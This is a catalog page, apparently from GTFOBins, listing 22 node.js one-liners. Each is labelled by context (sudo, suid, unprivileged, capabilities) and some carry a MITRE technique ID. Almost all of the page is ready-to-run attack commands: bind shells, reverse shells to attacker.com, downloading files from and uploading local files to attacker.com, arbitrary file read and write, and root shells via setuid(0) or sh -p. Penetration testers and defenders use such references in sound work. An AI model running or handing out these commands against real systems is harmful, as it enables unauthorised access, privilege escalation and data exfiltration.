Catalog GTFOBins

GTFO · Tool

node

22 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'
Context
suid
Native
bind-shell

bind-shell

Reverse/Bind Shell LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'
Context
unprivileged
Native
bind-shell

download

File DownloadPrivilege Escalation LinuxmacOS
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege Escalation LinuxmacOS
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
Context
unprivileged
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege Escalation LinuxmacOS
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Context
capabilities
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
Context
suid
Native
shell
MITRE
T1059

upload

File UploadPrivilege Escalation LinuxmacOS
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
Context
unprivileged
Native
upload
MITRE
T1041